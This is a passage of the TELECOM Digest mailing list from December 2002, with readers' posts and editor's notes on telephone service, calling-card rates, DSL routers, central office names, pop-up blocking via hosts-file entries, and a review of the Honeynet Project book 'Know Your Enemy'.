coaxial connector for the cable going to TV sets and cable modems -- presumably this is locked off to block access if a customer only takes phone service --- and screw terminals for inside wire, with RJ11 jacks and plugs for test purposes as usual. Insight's boxes will support up to four lines, so if you want to add a line you just run your inside wire to the appropriate jacks, call them to turn on the service, and start writing larger monthly checks. One thing I didn't like about Insight's installation was that the guy just ran some wire (not sure if it was quad, Cat 3 or Cat 5) over from the box to the screw terminals on the BellSouth demarc, after unplugging the plug from the RJ11 test jack, instead of doing something to bring the customer's inside wire over from the BellSouth demarc to the Insight box. ------------------------------ From: John Higdon Subject: Re: Critics Weigh In on Copyright Act Organization: Green Hills and Cows Date: Fri, 27 Dec 2002 17:14:10 -0800 In article , Ed Ellers wrote: > At the cost of some degradation of the signal. That's why people are > getting so worked up over attempts to prevent digital copying. (IMHO > the jury is still out over whether an analog dub from a CD really is > inferior to a digital ""rip"" of the same track, after both have been > encoded in MP3 at the usual 128 kbps.) > [TELECOM Digest Editor's Note: Tell the Jury that the slightly > inferior signal is actually pretty good considering what you paid > for it. There really is no difference. An audiophile which very fancy > equipment could tell the difference; almost no one else. PAT] Actually, by the time the tune is subjected to the compression of an MP3, it doesn't matter how sophisticated the listener's equipment is. For all intents and purposes, an analog rip of a given track will be just as good as the digital rip. The only difference (to the person performing the transfer) is the inconvenience of literally recording the audio in real time, and then trimming it. I made a private promise to myself about this. I have never downloaded an MP3 in my life. I have never so much as given away one single rip of any track from my library of thousands of CDs (but I rip them to use in my iPod and in the car). Here's the promise: the first time I am forced to make an analog rip of a so-called copy-protected CD, the rips are all going up on a website. If I'm going to be forced to go to extra effort just to be able to enjoy a CD I paid good money for, others will benefit from that effort as well. The reality is that I have pretty much given up buying CDs. I'm not sure I want to even bother with the hassle, or the expense of buying a CD player that can deal with the new crippled CDs. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: tsingtao55@yahoo.com Subject: What am I Missing Here; Calling Cards Date: Sat, 28 Dec 2002 01:22:56 GMT I used to have long distance service through a reseller that I thought was cheap, $0.05/min in California after 5pm and 0.09 during peak time. Interstate calls were $0.09 at all times. What ate me up were not the call charges, I really don't make that many LD calls on my landline (use my cell mostly), but the taxes. For a $2.50 LD bill, I would get near $6 in taxes each month. So, I called SBC and discontinued LD. Now I use an AT&T calling card purchased at Sam's Club which costs $0.0347/min with no taxes. I even use it to dial around SBC's exorbitant local toll rates. I just programmed the 800 number and the card number into speed dial. Why does AT&T sell these cards so cheap while they ""rape"" their customers who have subscribed to them with monthly fees, etc.? ------------------------------ From: Michael A. Covington Subject: Re: Hughes to Shut Down High-Speed Internet Service Date: Sat, 28 Dec 2002 01:38:11 -0500 OneNetNut wrote in message news:telecom22.186.12@telecom-digest.org: > Yep, they have a loving note on their website: > http://www.directvdsl.com/ explaining why they are getting out of the > DSL space (which I don't think they should have entered in the first > place). Yes ... I'm one of the people they left behind, and I'm now enjoying my first day of service on SpeedFactory: same line, same price per month, same data speed, and noticeably quicker DNS resolution. (Three DNS, not two, and not all in the same place.) My dumb question: Why is SpeedFactory making money when DirecTVInternet wasn't making money? One thing I suspect is that SpeedFactory doesn't try to sell to Grandma ... they seem to target people like me, who know something about configuring their own equipment. (In fact I got it going even though the DSL router arrived in a box with no documentation ... the doc is in the mail to arrive tomorrow.) This probably keeps their support costs down. Any other theories? ------------------------------ From: emtpilot@aol.com (Emt pilot) Date: 28 Dec 2002 08:12:16 GMT Organization: AOL http://www.aol.com Subject: Pacific Bell Central Office Names Hello, Hoping anyone might be able to help with this question. Does Pacbell ""name"" their CO's? For example, most of their CO's are named for the community they are located in. For more dense areas that have more then one office in a community or city, how does Pacbell defferentiate between offices? Is it a simple as San Diego CO 1 and San Diego CO 2 ... etc, or does each CO have a specific name (street, etc)? I have a list of Pac Bell exchanges but for some exchanges there are many CO's with the same exchange name just different CLLI numbers. I know Verizon in California names their CO's if more then one in an exchnage area. Example: There are two CO's in the Lancaster exchange, 1 CO is named ""Lancaster"" while the other is named ""Antelope"". Just wondering if Pacbell did the same thing and if anyone could foward the list or database. Thanks for the help. Jon Jamieson www.sewagehistory.com [TELECOM Digest Editor's Note: I know Ameritech in Chicago, IL has all their central office buildings geographically named in most instances by the streets or neighborhoods they are located in. And for each formal central office name there is also an informal (in general use) name for the same place. For instance, the central office which serves the University of Chicago, located at 61st and Kenwood Streets is known informally as 'Kenwood Bell'. Another example is 'Kedzie Bell' which is located on the west side around Roosevelt Road and Kedzie Avenue. Those two, and several others were named back in the 1950's after the streets they are located on and (obviously) the company which originally owned them. Both of those two were originally very large Traffic Department facilities (operator centers) on their second and third floors with the switching equipment on the first floor. Officially, they were 'Chicago-Kenwood' and 'Chicago-Kedzie'; along with 'Chicago-Rogers Park', 'Chicago-Edgewater', 'Chicago-Superior' 'Chicago-Illinois/Dearborn', 'Chicago-Franklin', 'Chicago-Dearborn', 'Chicago-Wabash', and 'Chicago-Lakeview' just to name a few on the north side and downtown areas of Chicago. Chicago-Wabash for many years had the informal name 'the Wabash CannonBall' because for many years after the other offices had gone to crossbar switching, the folks in 312-922, 312-939 and a few other exchanges still had the old fashioned (and very noisy) stepping switches. Literally, when one walked past the 65 East Congress Parkway building, the noise at times was deafening. I know you did not ask about Chicago, but I decided to tell you anyway. PAT] ------------------------------ From: Linc Madison Subject: Why Won't my Sprint PCS Phone Roam? (Samsung SCH-3500) Date: Sat, 28 Dec 2002 02:27:16 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com I've had a Sprint PCS phone, specifically a Samsung SCH-3500, for almost three years now. In those three years, I have had two occasions to attempt an outgoing call while outside Sprint's network. Both times, the signal meter indicated I had a strong signal, and I did everything the phone's manual said to do in order to make a roaming call, but the calls never connected. I also just did a test here in San Francisco with the same results. In addition, I also attempted an incoming call while the phone was in analog roaming mode. The only option I have for roaming is the analog cellular network, and my phone doesn't display any ID for the specific carrier. The first occasion was in early September 2002 in Susanville, CA. The second was in mid-October near Woodbury, TN. The third test was today in San Francisco, CA. In all three cases, I accessed the phone's menu and changed ""Roaming Mode"" from ""Sprint PCS only"" to ""Analog Roam."" The phone then searched for service and locked onto what appeared to be a valid signal from an analog cell. I dialed the number, pressed TALK, and pressed 1 to confirm that I really wanted to make a roaming call. The little telephone handset icon then blinked and blinked and blinked, indicating that it was trying to establish a circuit for the call. In all three cases, though, the icon just blinked, never completing the call. I tried each call more than once, always with the same result. On each attempt, I waited at least a full minute or two, and in one case over six minutes. None of these calls was at any time I would expect to be a peak usage hour. My inference from my admittedly cursory knowledge of cellular roaming is that my phone is not sending all the information that the analog network needs to bill the call, and therefore the analog network is not completing the circuit. Does that sound like I'm on the right track? If so, what might it be missing and how do I get it squared away? If not, what might the problem be? I talked to Customer Service today, and their only suggestion was to take the phone in to a Sprint PCS retail store to see if they can figure out what's going on. I probably will do that, but I figured I'd start by asking people who might actually know something. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Walter Dnes Subject: Re: Pop-ups Add New Twist Date: 29 Dec 2002 01:25:41 GMT Reply-To: waltdnes@waltdnes.org > [TELECOM Digest Editor's Note: Do you realize how many web sites there > are -- nice, good, seemingly innocuous sites which refuse to let you > in if you do the things Walter suggests above? Yahoo is one example: > *if* your cookies are mangled or missing or your browser begins > playing games with them then they refuse to let you in at all. Recent versions of Mozilla/Phoenix more granularity. You can control whom you do/don't allow to read/write cookies. I believe IE can do something similar with its ""trusted-sites"" zone. This can be acomplished manually also. I post to two websites that require login. They have the *OPTION* of either logging in each time, or having their cookies. Cookies are definitely convenient there. I opened up my cookies, logged in, exited the browser, and set the cookie file to read-only. The login cookies are now safe. With the cookie file set to read-only, I can throw the cookie settings wide open. All cookies will be accepted to memory while browsing, but they will not be saved when I shut down the browser. Walter Dnes I'm not repeating myself; I'm an X Window user, I'm an ex-Windows user Palladium ain't done till linux won't run [TELECOM Digest Editor's Note: I need some help getting my cookies to work correctly. I use something called 'Proxomitron' which eliminates all advertising on web pages and almost all pop-up windows. It uses port 8080 to do its thing. My objective is to eliminate all ads and pop up windows. I use it on my Opera browser and get the desired results. But I like to read news on my.yahoo.com and chicagotribune.com and my constantly scrolling ticker tape news comes from my.yahoo.com among other places. Internet Explorer is the controlling browser on my Windows XP and Windows 98 machines. If I turn Proximotron on when using my IE browser, Yahoo and Chicago Tribune refuse to deal with me. Yahoo just won't let me login to any department (including the scrolling ticker-tape news headlines) and chicagotribune.com keeps insisting my cookies are mangled up, and it wants me to completely log out and log back in so it can reinstall its cookies. So I wound up disconnecting Proxomitron from IE, but leaving it on Opera. So I use the latter to read some things and I use IE for other things, and constantly close pop-up windows and see advertising on Yahoo. I wish I knew how to properly set the options on Proxomitron. I also use a 'windows washer' program (like a laundry machine, with strong detergent and lots of 'bleach') whenever I turn the computer on or off. I've seen the 'laundry machine' grind up and sweep away as much as ten megs worth of the filthy, foul smelling stuff each day. I suspect that may be tampering with the cookies also. I wish I could use Proxomitron for IE stuff as well, but probably my computer is all messed up internally. :( Having had a brain aneurysm (my beloved brain desease) doesn't help me with these matters either. PAT] ------------------------------ From: John Smith Subject: Question About This Basic SBC Yahoo DSL Date: Sun, 29 Dec 2002 01:10:37 -0800 Organization: Posted via Supernews, http://www.supernews.com My family friend just got basic SBC Yahoo DSL (http://promo.yahoo.com/sbc/dsl/ ). They can only connect to the Internet from one PC (XP Home Edition OS) directly to the DSL modem as PPPoE. I gave them my spare used 3Com router that works with other ISPs (RoadRunner cable, Charter Communications cable, and Verizon DSL), the 3Com router can quickly connect as PPPoE like the XP. For some reason I can't ping any IP number to the outside world but SBC DSL tech support can ping the 3Com router and I always see the router's security audit trail log with lots of intrusion attempts into it, port scan, etc. If I can't ping anyone to the outside world, neither I can surf the Internet thru this 3Com router. So what good it is if it can't be shared to other PCs in the house? Can the DSL provider like SBC Yahoo DSL can do something so basic subscribers can't share the Internet to several PCs in their home? Are the broadband provider now discouraging their subscribers to use routers and share the Internet to several PCs in their home? ------------------------------ From: Greg Boop Subject: Last Laugh! Pat's Webcam Date: Sun, 29 Dec 2002 09:10:16 -0500 Somehow I had the image that Pat worked all day on the computer, typing his responses to the digest while surrounded by a half-dozen scantily clad women ... Unfortunately the web-cam has proven this not to be true :) - Greg [TELECOM Digest Editor's Note: Mostly you are correct. I say 'mostly' because last night real late, I got a phone call from a neighbor, a young guy about 20 or so, who wanted to bring a 'friend' over here since the said friend would be unwelcome at his house with his mother being there, etc. I said okay, then toddled off to bed for a good night's sleep. When I said it was a 'secret, hidden spy-cam' I mean I have not mentioned it to any neighbors/friends, etc. Something woke me up around 2:00 AM and I remembered I had not shut the computer and camera off for the night. The cam is not hidden, it is in plain sight on my desk top -- all three of them; still the dunce and his friend did not know what they were or how they worked. I found the two of them slightly indisposed here in the computer room, and as I rushed over to shut off the cams/computer I proceeded to give them both one of my Old Fashioned Editor's Notes; fire shooting from my nostrils, etc. Enough hell for everyone, ample-plenty twice around. They both looked terribly hurt; I then apologized for screaming at *them*; and hastily assured them I was not angry about their actions, just at having my website desecrated with the see-all cams taking pics, and faithfully FTP'ing them off to the site, every ten seconds or so. I *don't think* anyone was watching at the time; I would have heard something by now if there had been one or more viewers, I am sure. They had no idea the cams were there, let alone turned on; and properly mortified they made a hasty retreat for friend's home, where I guess 'getting caught' by my friend's mother would have been less of an embarassment for them. The web-cam address is http://patrick-townson.n3.net . PAT] ------------------------------ Date: Sun, 29 Dec 2002 14:50:20 EST From: TELECOM Digest Editor FTP: telecom-archives@telecom-digest.org Send a simple, one line note to that automated address for a help file on how to use the automatic retrieval system for archives files. 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End of TELECOM Digest V22 #210 ****************************** From: editor@telecom-digest.org Message-Id: <200212310036.gBV0aWq25213@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #211 TELECOM Digest Mon, 30 Dec 2002 19:37:00 EST Volume 22 : Issue 211 Inside This Issue: Editor: Patrick A. Townson Book Review: ""Know Your Enemy"", Honeynet Project (Rob Slade) SBC False Advertising / Overcharge?!?!?! HELP (Jason) About Panasonic 1232 (Radoslaw) Strange Behaviour of Your Picture Page (Colin Sutton) Re: Pacific Bell Central Office Names (David L) Re: Pacific Bell Central Office Names (John Higdon) Re: Pacific Bell Central Office Names (Jeff Moss) Re: What am I Missing Here; Calling Cards (David L) Re: Question About This Basic SBC Yahoo DSL (Steven J. Sobol) Re: Why Won't my Sprint PCS Phone Roam? (Samsung SCH-3500) (Steven Sobol) Re: Call Blocking Box For All Numbers From a Given Country (joe@obilivan) Re: Pop-ups Add New Twist (Clarence Dold) FCC Grants InterLATA LD to Southwestern Bell, Bellsouth (Sam Etler) Wanted: Used Gordon Kapes System 930 (Arun Mirchandani) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Rob Slade Organization: Vancouver Institute for Research into User Date: Mon, 30 Dec 2002 08:05:18 -0800 Subject: Book Review: ""Know Your Enemy"", Honeynet Project BKKNYREN.RVW 20020916 ""Know Your Enemy"", Honeynet Project, 2002, 0-201-74613-1, U$39.99/C$59.95 %A Honeynet Project %C P.O. Box 520, 26 Prince Andrew Place, Don Mills, Ontario M3C 2T8 %D 2002 %G 0-201-74613-1 %I Addison-Wesley Publishing Co. %O U$39.99/C$59.95 416-447-5101 fax: 416-443-0948 %O http://www.amazon.com/exec/obidos/ASIN/0201746131/robsladesinterne %P 328 p. + CD-ROM %T ""Know Your Enemy: Revealing the Security Tools, Tactics, and Motives of the Blackhat Community"" I have frequently said that any book with ""hack,"" or any variant thereof, in the title is automatically suspect. This work helps prove my point, first, because the Honeynet Project members have *not* used the term (they refer to attackers as blackhats), and the text also notes the problems with ""exploit"" type books: they list old and known attacks, most of which are protected against, and say nothing about the attackers and how they work. Chapter one points out the value of ""knowing the enemy"" and the beginnings of the Honeynet Project. Part one describes the honeynet. Chapter two explains what a honeynet is, and the difference between one and the traditional honeypots. Details on how a honeynet works, in terms of architecture, policies, and the risks and responsibilities of operating one, are presented in chapter three. Building a honeynet, in chapter four, presents specific details, although a number have already been given. Part two concerns the analysis of data collected from the Honeynet. Chapter five, on data analysis, points out the sources of data for logging, much of which has already been discussed. There is some more information on what we can find, but limited explanation of how to interpret it. The discussion of analyzing a compromised system, in chapter six, is more detailed and does a better job of explaining the logs, but relies on a blackhat document, which, while better than most such, still has the holes and gaps that characterize the genre. Additional details are provided in advanced data analysis, plus some material on data that is (and some that is not) useful in packets, plus forensic (data recovery) considerations, in chapter seven. (Interestingly, the Honeynet Project does not seem to be concerned with wiping a drive in order to deny information to blackhats.) Chapter eight examines data recovery tools and some results. Part three explains what the project has determined about ""the enemy"" by the types of attacks that have been launched and detected. Chapter nine is a general review of the random nature of attacks, the tools seen, motives theorized, and trends in attacks. The activities and signatures of the Bymer worm are described in chapter ten. An IRC conversation between a group of blackhats is provided in chapter eleven. While there is some interest in the account, the transcript occupies almost 100 pages (and almost a third of the total length of the book). Chapter twelve suggests the future activities of the Honeynet Project. Much of the material in the book is repeated, sometimes in a number of places. The text would definitely benefit from a tightening up of the material. In addition, the early examples are not thoroughly explained, making the reader initially feel that only a firewall audit log specialist would be able to understand what is being said. However, most of the book is written clearly and well, and it is definitely worth reading. copyright Robert M. Slade, 2002 BKKNYREN.RVW 20020916 rslade@vcn.bc.ca rslade@sprint.ca slade@victoria.tc.ca p1@canada.com Find book info victoria.tc.ca/techrev/ or sun.soci.niu.edu/~rslade/ Upcoming (ISC)^2 CISSP CBK review seminars (+1-888-333-4458): February 10, 2003 February 14, 2003 St. Louis, MO March 31, 2003 April 4, 2003 Indianapolis, IN ------------------------------ From: chillinachos@hotmail.com (Jason) Subject: SBC False Advertising / Overcharge?!?!?! HELP Date: 29 Dec 2002 21:23:32 -0800 Organization: http://groups.google.com/ Ok folks, I'll try to keep this one from being too long (famous last words): I live in Austin, Texas. I make a lot of calls to Ireland. I use SBC for my local / long distance and international calls. They provided me with an SBC calling card when I switched to them a few months ago. I used the calling card to make calls to Ireland from my office (so my employer would not have to pay for my calls). The bill came in and they have billed me $215.46 for 88 minutes. Some of the calls are 1 minute long and they charge me $7.00 for one minute. The SBC website says (and I quote): ""SBC's Calling Card Services eliminates telephone ""sticker shock"" by protecting consumers and businesses from high rates often associated with calls made from some public pay phones. Our calling card gives you easy access to local, long distance, and international phone service virtually anywhere in the world. You can also request additional cards for business associates"" So, I figured that when it says in the small print that a ""surcharge may apply"" that it would be a reasonable percentage. Under pricing for the calling card on their website it says: ""Pricing: SBC Calling Card Services costs nothing to set up and is available to all customers who already have phone service. You only pay for the calls made using the card number."" I've tried to call SBC to dispute these charges. After 1 hour on the phone and speaking to 5 people they finally tell me that those charges are right and that I should really only use the card in EMERGENCIES because they charge all kinds of connection fees ($4 per call and $1.75 per minute) These rates are not listed anywhere that I can find. I feel ripped off. Have I any protection against this?????? By the way, The 88 minutes if made from my home phone would have cost approx $13 (thirteen) from my calling card its an extra $200. I never got my complaint resolved with SBC in the end because after one hour of talking to people I finally got put on hold and then mysteriously cut off. Can anyone advise me on what I should do. I feel like they falsely advertised their service due to the quoted text above. Check out the links of info on their calling card service at the following address. http://www01.sbc.com/Products_Services/Residential/ProdInfo_1/1,1973,45--6-3-,00.html#30 Thanks for any advice. J. [TELECOM Digest Editor's Note: My experience (mine only) is that the ONLY thing SBC understands are commission complaints. They are terribly fraudulent with things like Privacy Manager for example. Some other readers may make suggestions worth trying but I will suggest you cut to the chase -- keep it simple -- and file a complaint with your local consumer organization and also with your state commission. And split from SBC to one of the resellers as soon as possible and convenient to do so. They hit me up for $40.00 (forty dollars) last month for using their call trace (*57) feature trying to track down the source of literally dozens of 'wrong number' calls from AT&T (of all people!) who were sending ten zeros and 'name withheld' as their caller-ID on my distinctive ringing line. And their DSL service, ooh-la-la, what mounds of spam! My mailbox on sbcglobal.net got wedged yesterday from two days worth of spam; when I called in I was told 'your mailbox is 120 percent of capacity; we are going to return your mail to the senders.' When I asked them once again why they did not instead use some kind of filters against spam, this tech guy got very self-righteous with me about how Southwestern Bell does not dictate what you get in your email. So I am sort of a prisoner; if I do NOT call in and clean out my mailbox two or three times daily, it overflows and they return all mail to the senders. You see, I skipped Saturday this past week. Then I got in the middle of tossing out all the spam manually a pop-up window from SBC telling me how I could subscribe for a fee to their mail sorting service; if I pay them more than the fifty dollars per month I do already, they *will* sort the spam out. So tech-desk, don't get so self-righteous with me; its all money in your case. Yeah, I would say just file commission complaints as a routine thing. ""Excuse me. Mr. Commissioner, I hate to disturb your lunch while you are eating out of the hand of SWB, but could you please consider my complaint?"" Say the above to the commission, they get very annoyed by it; but you know it is largely true. PAT] ------------------------------ Date: Sun, 29 Dec 2002 23:57:46 +0100 From: Radoslaw Subject: About Panasonic 1232 Organization: home.pl news server Hallo, My name is Radoslaw. I have a Panasonic KX-TD 1232. I don't know a solutions my problem. I have a few digital line BRI. I have a DISA. And now I calling to my office a first line, DISA is working OK, and I want calling other connect BUT other line. ARS working correctly and I make call from other line Analog. (CO to CO). SO Now is a problem becouse when I outgoing call from other line analog my call is very poor, I hear nothing, very very small signal. Please Can You help me with this solutions ! Please. Now I set (990) -3dB in BIT. but still is very poor. Regards, Radoslaw : ""TWORZAC REALIZUJEMY CELE"" ( r.w. - AD`2002 ) : ******************************************************************** : KTG o/K-�w: eMail: studio(at)post.pl : Mobile: (0-60) 988 98 98 : : Zanim do mnie napiszesz: http://www.developer.krakow.pl/nospam ------------------------------ From: Colin Sutton Subject: Strange Behaviour of Your Picture Page Date: Mon, 30 Dec 2002 16:37:39 +1100 When I select http://patrick-townson.n3.net I'm taken to the picture page http://remarque.org/~ptownson/picture.page/ but there's no picture, just a continuously changing message in the browser status line ""Downloading picture http://remarque.org/~ptownson/picture.page/kabcam.jpg?10412263357064 ..."" where the number at the end is incrementing by somewhat over 1000 every second. In the time it's taken me to type this it's up to 10412264651418. If I select http://remarque.org/~ptownson/picture.page/kabcam.jpg directly, I see a picture of the top of your head, bent over a hot keyboard? Colin Sutton [TELECOM Digest Editor's Note: 'patrick-townson.n3.net' is a redirect which points to remarque.org as you discovered. If you choose to look via the direct remarque.org address then after the picture.page/ you should insert 'index.html' rather than 'kabcam.jpg' which is one picture among some text on the page. After some correspondence with Keith (author of Kabcam) I have learned some interesting and rather dirty secrets about using USB hubs and heavy-drain devices like cameras, and drivers for cameras, which I am getting into now. But when I install this on my Winbook laptop with Windows 98 for the Independence weather station I want it to work correctly. PAT] ------------------------------ From: davidlind@my-deja.com (David L) Subject: Re: Pacific Bell Central Office Names Date: 30 Dec 2002 04:23:33 -0800 Organization: http://groups.google.com/ emtpilot@aol.com (Emt pilot) wrote in message news:: > Hoping anyone might be able to help with this question. Does Pacbell > ""name"" their CO's? For example, most of their CO's are named for the > community they are located in. For more dense areas that have more > then one office in a community or city, how does Pacbell defferentiate > between offices? Is it a simple as San Diego CO 1 and San Diego CO 2 > ... etc, or does each CO have a specific name (street, etc)? I have a > list of Pac Bell exchanges but for some exchanges there are many CO's > with the same exchange name just different CLLI numbers. I'm going to hazard a guess from this older database lookup... there's a map lookup as well. Ratecenter name Example for Santa Rosa: SNRA JUNO SNRA MAIN Search by company name - TelcoData.us Telecommunications Database http://www.telcodata.us/company.html?company=PACIFIC+BELL&results=1 David DavNOLindiSPAMathotmaildotcom ------------------------------ From: John Higdon Subject: Re: Pacific Bell Central Office Names Organization: Green Hills and Cows Date: Sun, 29 Dec 2002 15:10:17 -0800 In article , emtpilot@aol.com (Emt pilot) wrote: > Hoping anyone might be able to help with this question. Does Pacbell > ""name"" their CO's? For example, most of their CO's are named for the > community they are located in. For more dense areas that have more > then one office in a community or city, how does Pacbell defferentiate > between offices? Is it a simple as San Diego CO 1 and San Diego CO 2 > ... etc, or does each CO have a specific name (street, etc)? I have a > list of Pac Bell exchanges but for some exchanges there are many CO's > with the same exchange name just different CLLI numbers. The PacBell COs in the San Jose area are numbered (SJ12, SJ14, etc.) but they have been traditionally known, at least internally, by their first exchange names. For instance, SJ12 is known as ""ALpine""; SJ14 is known as ""ANdrews"". Some of the other COs: AXminster (corner of Bellomy and Winchester in Santa Clara); CLayburn (White Road in San Jose); CYpress (downtown). Then there are the exceptions. The ""Almaden"" CO was originally an unmanned office controlled from ANdrews. ""Space Park"" was added in Santa Clara some time after the exchange names had long been abandoned. The ""Abel"" CO in Milpitas has always been referred to as such, even though it has been around since the AMhearst days. These are all names derived from the streets or roads on which they are located. One of the complications for naming COs is the fact that many of them serve more than one community. The ALpine CO serves the following communities: San Jose, Cupertino, Campbell, and Saratoga. The ANdrews CO serves San Jose and Campbell. In fact, Campbell has an interesting situation. The city itself has no CO. While it is a city large enough to have over a dozen prefixes, it is served by two San Jose central offices. To the east of Highway 17, it is served from ANdrews. Everyone on the west side of 17 is served from the ALpine office. The latter office is located many miles to the west of the Campbell city limits, and until recently DSL was out of the question for anyone on the west side of town. SBC has been adding fiber hubs to rectify that situation. > I know Verizon in California names their CO's if more then one in an > exchnage area. Example: There are two CO's in the Lancaster exchange, > 1 CO is named ""Lancaster"" while the other is named ""Antelope"". Just > wondering if Pacbell did the same thing and if anyone could foward the > list or database. I have poked through a number of PacBell internal databases and there is no universal agreement among them regarding the naming of COs. My knowlege comes from five decades of dealing with engineers and technicians for the company. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: jeffmoss26@adelphia.net (Jeff Moss) Subject: Re: Pacific Bell Central Office Names Date: 29 Dec 2002 19:50:03 -0800 Organization: http://groups.google.com/ I was at my dad's office last week (they are an Ameritech Distributor) and I threw away tons of Ameritech papers. There was a list of the Cleveland area Central offices. I didnt keep it but I remember they used really odd codes ex. Beachwood (30 sec away from my house) would be BCHW1023i0 or something. OT: Does anyone know if its possible to get a tour inside a Central Office? ------------------------------ From: davidlind@my-deja.com (David L) Subject: Re: What am I Missing Here; Calling Cards Date: 30 Dec 2002 04:59:20 -0800 Organization: http://groups.google.com/ tsingtao55@yahoo.com wrote in message news:: > I used to have long distance service through a reseller that I thought > was cheap, $0.05/min in California after 5pm and 0.09 during peak > time. Interstate calls were $0.09 at all times. > What ate me up were not the call charges, I really don't make that > many LD calls on my landline (use my cell mostly), but the taxes. > For a $2.50 LD bill, I would get near $6 in taxes each month. > So, I called SBC and discontinued LD. Now I use an AT&T calling card > purchased at Sam's Club which costs $0.0347/min with no taxes. I even > use it to dial around SBC's exorbitant local toll rates. I just > programmed the 800 number and the card number into speed dial. > Why does AT&T sell these cards so cheap while they ""rape"" their > customers who have subscribed to them with monthly fees, etc.? Legacy name recognition of ATT and advertising overload from non competitive carriers leading to mass confusion, so people don't have the time or don't think they can change. IDT seems to be breaking the barrier, now if IDT would just post INstate rates and taxes on their website ... more obfiscation:( Wish I could get around that darn SBC 12 mile ""zone 3"" first minute .05 rip off rate! Maybe if I can trick ATT to offer the expanded local only service. Wonder if they could be forced to unbundle local toll and LD? Until then it's the cell phone for short zone 3 calls. I'd bet many folks aren't capable of programming a speed dial phone or are too impatient to set up and dial another step with a web based calling card, even with the advanced ""NO PIN"" feature. With all the included (often crappy sounding) wireless LD, people are getting use to much better LD rates, even if it is essentially prepaid and late night weekend weighted. There's even better per minute rates in major metro areas, using local access numbers instead of toll free numbers for calling cards. You can have a discount LD carrier also handle local toll calls as well, though there will still be taxes. Hope the hungry tax collector doesn't take aim at untaxed calling card revenue. The thrifty are saving loads! David DavNOLindiSPAMathotmaildotcom ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Question About This Basic SBC Yahoo DSL Date: Sun, 29 Dec 2002 22:27:16 -0000 Organization: JustThe.net LLC John Smith wrote: > So what good it is if it can't be shared to other PCs in the house? > Can the DSL provider like SBC Yahoo DSL can do something so basic > subscribers can't share the Internet to several PCs in their home? No, but they can refuse to support it, although SBC ameritech.net tech support employees didn't seem to care about the Netopia router I had running off my SBC DSL line when I had SBC DSL. There's no technical reason you shouldn't be able to get the router to work, but don't expect SBC to support it. > Are the broadband provider now discouraging their subscribers to use > routers and share the Internet to several PCs in their home? My new broadband provider at home (Adelphia, with their Powerlink cable Internet service) doesn't have a problem with multiple computers hooked up to their service, though they officially do not allow servers ... their literature specifies that you may hook up as many as four PCs. It varies by provider. Many SBC resellers might allow multiple PCs and support routers. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: Why Won't my Sprint PCS Phone Roam? (Samsung SCH-3500) Date: Sun, 29 Dec 2002 22:29:08 -0000 Organization: JustThe.net LLC Linc Madison wrote: > I've had a Sprint PCS phone, specifically a Samsung SCH-3500, for > almost three years now. In those three years, I have had two occasions > to attempt an outgoing call while outside Sprint's network. Both > times, the signal meter indicated I had a strong signal, and I did > everything the phone's manual said to do in order to make a roaming > call, but the calls never connected. I also just did a test here in > San Francisco with the same results. In addition, I also attempted an > incoming call while the phone was in analog roaming mode. Can you give more details? Have you checked over on alt.cellular.sprintpcs as to why this might not be working? Have you had a Sprint tech flash the firmware on your phone and/or update your Preferred Roaming List? My wife has a Sprint PCS phone but we don't ever roam off Sprint's network, so I'll not be very useful in solving this problem. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: joe@obilivan.net Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: Mon, 30 Dec 2002 14:59:13 GMT Organization: Cox Communications John R. Levine wrote: > It is my impression that CO phone switches can be programmed to know > the valid CLID number range for a PBX, and to substitute in the main > number if a call from the PBX has no CLID or CLID outside that range. > Too bad telcos are almost all too lazy to do so. Add to ""lazy"" indifference and ""what's in it for our LEC?"" ------------------------------ From: dold@32.usenet.us.com Subject: Re: Pop-ups Add New Twist Date: Mon, 30 Dec 2002 17:14:08 UTC Organization: a2i network > [TELECOM Digest Editor's Note: work correctly. I use something > called 'Proxomitron' which eliminates all advertising on web pages > and almost all pop-up windows. It uses port 8080 to do its thing. My > objective is to eliminate all ads and pop up windows. I use it on my > Opera browser and get the desired I have set entries in \\windows\\system32\\drivers\\etc\\hosts for some of the sites I don't want to see, pointing them to 127.0.0.1, so I still get popup windows, but they all fail to show me anything but a little red x. This isn't perfect, but just adding a few makes a big difference. 127.0.0.1 ad.doubleclick.net ads.x10.com ads.monster.com 127.0.0.futuresite.register.com 1 ad.trafficmp.com ------------------------------ Date: Mon, 30 Dec 2002 13:10:10 CST From: Sam Etler Subject: FCC Grants InterLATA LD to SBC in CA; Bellsouth in FL and TN Effective 12/30/2002, the FCC has granted SBC and Bellsouth the rights to provide interLATA services in additional states. The decisions are summarized in the Federal Register at 67 FR 79095 (SBC, also FCC Docket 02-330), and 67 FR 79098 (Bellsouth, also FCC Docket 02-331). SBC can now provide interLATA services in Texas, Missouri, Arkansas, Kansas, Oklahoma, and now California. Bellsouth can provide interLATA services in Alabama, Kentucky, Mississippi, North Carolina, South Carolina, Georgia, 